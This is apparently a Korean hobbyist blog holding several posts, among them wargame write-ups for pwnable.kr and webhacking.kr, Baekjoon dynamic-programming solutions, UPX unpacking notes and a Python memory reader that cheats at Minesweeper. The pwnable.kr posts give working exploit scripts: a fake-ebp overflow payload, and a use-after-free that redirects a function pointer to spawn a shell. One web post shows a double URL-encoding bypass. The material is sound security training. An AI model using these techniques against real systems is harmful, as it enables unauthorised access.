이 문제는 엄청난 낚시가 많았다...

엉뚱한 곳을 리버싱 하면서 취약점을 찾고 있었는데 알고보니 취약점은 매우 간단했다.


1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1
 
  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
cs


바로 이 auth 함수에 memcpy를 하면서 길이 검사를 안해서 fsp를 덮어쓸 수 있어 fake ebp 기법을 사용하여 익스플로잇 할 수 있었다.

간단한 문제였다.


1
2
3
4
5
import base64
 
exploit="AAAA"+"\x84\x92\x04\x08\x40\xeb\x11\x08"
print base64.encodestring(exploit)
 
cs


'워게임 > pwnable.kr' 카테고리의 다른 글

pwnable.kr dragon  (0) 2017.05.10
pwnable.kr문제 중 쉬운 편에 속했다.
다만 ida에서 구조체를 다루는데 익숙하지 않아서 푸는데 3시간 정도 걸렸다.
문제의 취약점은 총 2가지이다.
1) integer overflow
2) uaf
드래곤의 체력이 1byte형 변수에 담겨있어서 127이상이 되면 음수가 되어 드래곤을 잡을 수 있다.
그 후 uaf 취약점을 이용하여 함수 포인터를 SelectLevel 에 있는 system("/bin/sh"); 의 주소로 변경하면 익스가 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
 
r=remote("pwnable.kr",9004)
 
print r.recvuntil("Knight")
 
r.sendline("2")
 
print r.recvuntil("20 HP.")
 
r.sendline("2")
 
r.sendline("1")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
print r.recvuntil("As:")
 
r.sendline(p32(0x08048DBF))
 
r.interactive()
cs


'워게임 > pwnable.kr' 카테고리의 다른 글

pwnable.kr simple login  (0) 2017.05.10

백준알고리즘 이항계수를 풀어보았습니다.

먼저 1번인데요! 역시 기초 dp 및 재귀함수 알고리즘 이었습니다. 다 풀어버리고 빨리 어려운거 풀고싶어여



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <memory.h>
 
int dp[100];
 
int fec(int n)
{
    if(n==1||n==0)
    {    
        dp[n]=1;
        return dp[n];
    }
 
    if(dp[n]!=-1)
        return dp[n];
 
    dp[n]=n*fec(n-1);
 
    return dp[n];
}
 
int main(void)
{
    int n,r;
    memset(dp,-1,100);
    scanf("%d %d",&n,&r);
    printf("%d",fec(n)/(fec(r)*fec(n-r)));
    return 0;
}
cs


'알고리즘 > dynamic programming' 카테고리의 다른 글

백준알고리즘 피보나치 수  (0) 2017.03.13

Dynamic programming의 정석! 피보나치 수열을 dynamic programming로 구현 해 보았다.

사실 dp를 사용하지 않고 재귀로만 구현했더니 시간초과가 떠버렸다.

점화식은 f[n]=f[n-1]+f[n-2] 이다. 



알고리즘 스터디를 계기로 Dynamic programming 문제를여러가지 접해보았는데 어렵게 느껴져서 백준 알고리즘에서 쉬운 dp문제부터 차근차근 올라가려 한다.


다음에 올릴 땐 자바 연습할 겸 자바로 올려야지!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <memory.h>
 
int dp[500];
 
int fibonacci(int n) {
    if(dp[n]!=-1)
        return dp[n];
    if (n==1||n==2) {
        return 1;
    } else {
        dp[n] = fibonacci(n-1+ fibonacci(n-2);
    }
    return dp[n];
}
 
int main(void)
{
    int x;
    memset(dp,-1,500);
    scanf("%d",&x);
    printf("%d",fibonacci(x));
    return 0;
}
cs


'알고리즘 > dynamic programming' 카테고리의 다른 글

백준알고리즘 이항계수  (0) 2017.03.26

xp 지뢰찾기를 리버싱 하여 맵핵을 만들어 보자!

   

이번 문서에서는 약간 편법을 사용하여 폭탄이 생성된 곳을 확인하고 맵핵을 제작할 것이다.

   

먼저 지뢰찾기 게임을 ida 넣고 분석해 보았다.

함수명을 bomb 검색해 보자.

   

   

폭탄을 그리기도 하고, 수를 세기도 하고 폭탄을 보여주기도 하는 여러가지 함수들을 있다.

   

이중 ShowBombs함수를 들어가 보자.

   

   

함수를 유심히 살펴보면 선언되지 않은 xBoxMac, YBoxMac 변수가 있다.

전역변수에 저장되어 있는 폭탄의 위치가 이곳에 저장되어 있다고 유추할 있다.

부분을 ollydbg 통해 확인해 보자.

   

   

   

   

다음과 같이 지뢰찾기 게임의 맵으로 생각되는 부분이 배열로 저장되어 있다.

드물게 등장하는 8F 지뢰로 생각하고 대조해 보면 위치가 일치한다.

   

분석해 보면, 10 개행, 8F 폭탄, 0F 아직 누르지 않은 블록이라는 것을 있다.

   

이부분을 불러와 맵핵을 만드는 코드를 보았다.

   

   

from ctypes import *

from ctypes.wintypes import *

import struct

   

def getpid(process_name):

import os

return [item.split()[1] for item in os.popen('tasklist').read().splitlines()[4:] if process_name in item.split()]

   

   

   

OpenProcess = windll.kernel32.OpenProcess

ReadProcessMemory = windll.kernel32.ReadProcessMemory

CloseHandle = windll.kernel32.CloseHandle

   

lenth=1200

   

PROCESS_ALL_ACCESS = 0x1F0FFF

   

pid = int(getpid("winmine.exe")[0])

   

address = 0x1005360

   

buffer = c_char_p(b" "*lenth)

val = c_int()

bufferSize = len(buffer.value)

bytesRead = c_ulong(0)

   

processHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

if ReadProcessMemory(processHandle, address, buffer, bufferSize, byref(bytesRead)):

 

print("Success:" + str(val.value))

else:

print("Failed.")

   

CloseHandle(processHandle)

   

   

buffer = str(buffer).split('\'')[1]

   

flag=0

   

   

for i in range(0,lenth*4):

if i%4==2:

   

if buffer[i] == '1':

if flag%2==1:

print "\n",

flag+=1

if buffer[i] == '0' and flag%2==1:

print "O",

   

if buffer[i] == '8':

print "*",

   

   

다음과 같이 코드를 완성하여 맵핵을 제작하였다.

   

   

완성!

upx 패킹한 파일을 분석해보자.

   

패킹된 파일의 EP 포인트 지점에서는 ESI 레지수터에 두번째 섹션 시작 주소를, 그리고 EDI레지스터에는 첫번째 섹션 시작 주소를 세팅한다.

   

   

Source(ESI)로부터 데이터를 읽어 압축 해제 Destination(EDI) 저장시킬 것이다. 그러므로 UPX EP 코드를 전부 트레이싱하면 OEP 찾을 있다.

   

중요한 루프 #1

   

EDX에서 바이트를 읽어 EDI 쓰는 것이다. EDI레지스터가 가리키는 주소는 번째 섹션의 시작 주소이며, 메모리에서만 존재하는 섹션이다(내용은 전부 NULL).

   

   

중요한 루프 #2

   

본격적인 디코딩 루프로, ESI가 가리키는 두 번째 섹션의 주소에서 차례대로 값을 읽어서 적절한 연산을 거쳐 압축을 해제하여 EDI 가리키는 번째 섹션의 주소에 값을 써준다.

   

   

중요한 루프 #3

   

원본 코드의 CALL/JMP명령어의 destination 주소를 복원시켜주는 코드이다.

   

   

중요한 루프 #4

   

IAT 세팅하는 루프이다. EDI 두번째 섹션 영역으로 세팅된다. 이곳에는 원본 notepad.exe에서 사용되는 API 이름 문자열이 저장되어 있다. 과정을 이름 문자열이 끝날 때까지 반복하면 원본 notepad.exe IAT 복원 과정이 마무리된다.

   

   

upx패커의 특징 하나는 EP코드가 PUSHAD/POPAD명령어로 둘러싸여 있다는 것이다. OEP코드로 가는 JMP명령어가 POPAD명령어 바로 이후에 나타나므로 JMP명령어에 BP 설치하고 실행하면 바로 OEP 있다.

   

   

'리버싱' 카테고리의 다른 글

개요  (0) 2016.09.20
어셈블리 정리  (1) 2016.09.20

리버스 엔지니어링이란 물건이나 기계장치 혹은 시스템 등의 구조, 기능, 동작 등을 분석하여

원리를 이해하며 단점을 보완하고 새로운 아이디어를 추가하는 작업.

   

리버싱 방법

   

1.정적 분석

파일의 겉모습을 관찰하여 분석하는 방법. 정적 분석의 단계에서는 파일을 실행하지 않고 종류, 크기, 헤더정보, Import/Export API, 내부 문자열, 실행 압축 여부, 등록 정보, 디버깅 정보, 디지털 인증서 등의 다양한 내용을 확인하는 것. 그리고 디스어셈블러를 이용하여 내부 코드와 그 구조를 확인하는 것.

2.동적 분석

파일을 직접 실행시켜 행위를 분석하고, 디버깅을 통하여 코드 흐름과 메모리 상태 등을 자세히 살펴보는 방법. 파일, 레지스트리, 네트워크 등을 관찰하면서 프로그램의 행위를 분석. 또한 디버거를 이용하여 프로그램 내부 구조와 동작 원리를 분석.

   

가지 방법을 활용하면 프로그램을 리버싱할 시간을 많이 단축시킬 있고, 효과적인 분석이 가능.

   

 

함수 호출 규약

   

caller - 함수를 호출하는

callee - 호출 받는쪽

   

1.cdecl

함수를 호출한 쪽이 stack 정리

2.stdcall

호출을 당한 쪽이 stack 정리

3.fastcall

   

 

   

참고 - http://www.slideshare.net/H4C/ss-59722847

   

 

   

 

   

   

'리버싱' 카테고리의 다른 글

패킹  (0) 2016.09.23
어셈블리 정리  (1) 2016.09.20

CMP TEST 다른

   

CMP 첫번째 operand에서 번째 Operand 뺀다. 연산의 결과는 operand 값이 변경되지 않고 EFLAGS 레지스터만 변경된다. ( operand 값이 동일하다면 SUB 결과는 0이고 ZF=1. SUB 명령과 동일하나 SUB operand 값이 변경됨.)

   

TEST 번째 operand 번째 operand AND연산 시킨다. 연산의 결과는 ZF에만 영향을 미치고 operand에는 영향을 미치지 않는다.

   

개의 다른 점은 operand 비교하는 방식이다. CMP 숫자를 빼서 비교하고, TEST AND연산을 시켜서 비교한다. 이로 인해 CMP operand 완전히 같은지 비교할 있고 TEST operand 모두 0인지 아닌지 판단할 있다. TEST 경우 operand 0 아닌 경우를 제외하고 서로 다른 값일지라도 연산 결과가 0 나올 있으므로 TEST eax,eax 같이 대상의 값이 0 아닌지 확인하는 용도로 사용된다.

   

   

mov lea 다른

   

mov 좌변에 우변의 값을 대입한다.

   

lea 좌변(레지스터만 가능) 우변의 주소값을 대입한다.

   

   

조건 점프문

   

   

   

PUSHAD - 8개의 범용 레지스터의 값을 스택에 저장하는 명령

   

POPAD - PUSHAD 명령에 의해서 스택에 저장된 값을 다시 레지스터들에게 입력하는 명령

'리버싱' 카테고리의 다른 글

패킹  (0) 2016.09.23
개요  (0) 2016.09.20

다음과 같이 나와서 페이지 소스를 먼저 보았다.

   

   

unlock 계산한 10 나눈 것이 정답이다.

   

콘솔을 통해 계산해 주자.

   

   

이것을 10으로 나눈 999780930.7 답이다.

   

다음과 같이 문제가 풀렸다.

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 26번  (0) 2016.09.01
webhacking.kr 6번  (0) 2016.09.01
webhacking.kr 14번  (0) 2016.09.01
webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01

다음과 같은 창이 나와 눌러보았다.

   

다음과 같이 코드가 나왔다.

   

이것을 해석해 보면 먼저 get방식으로 받은 id변수값이 admin인지 검사하여 참이면 no! 출력한 종료되게 한다. - (1

   

그리고 id변수값을 urldecode 주어 id변수에 다시 저장한다.

   

urlencode url 통해 데이터를 전송하고자 인코딩을 해야 하는 경우에 사용된다. urlencode()함수는 인자로 전달받은 문자열 데이터를 16진수 ASCII코드로 변환하고 앞에 %기호를 붙인 형식으로 인코딩하여 반환한다.

   

값이 "admin" 같으면 문제가 해결된다.

   

   

문제를 풀기 위해서는 admin urlencode 놓는다면 (1 걸리지 않고 $_GET[id] 값이 admin 되어 문제가 풀린다.

   

   

다음 표에 맞춰서 url인코딩을 하였다.

   

admin -> %61%64%6d%69%6e

   

이때 주의해야 점은 url 인코딩 값을 적어 넣을 웹브라우저에서 디코딩 상태로 인식되므로 인코딩 주어야 문제가 풀린다.

   

admin -> %61%64%6d%69%6e -> %2561%2564%256d%2569%256e

   

다음과 같이 문제가 풀렸다.

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 17번  (0) 2016.09.01
webhacking.kr 6번  (0) 2016.09.01
webhacking.kr 14번  (0) 2016.09.01
webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01

+ Recent posts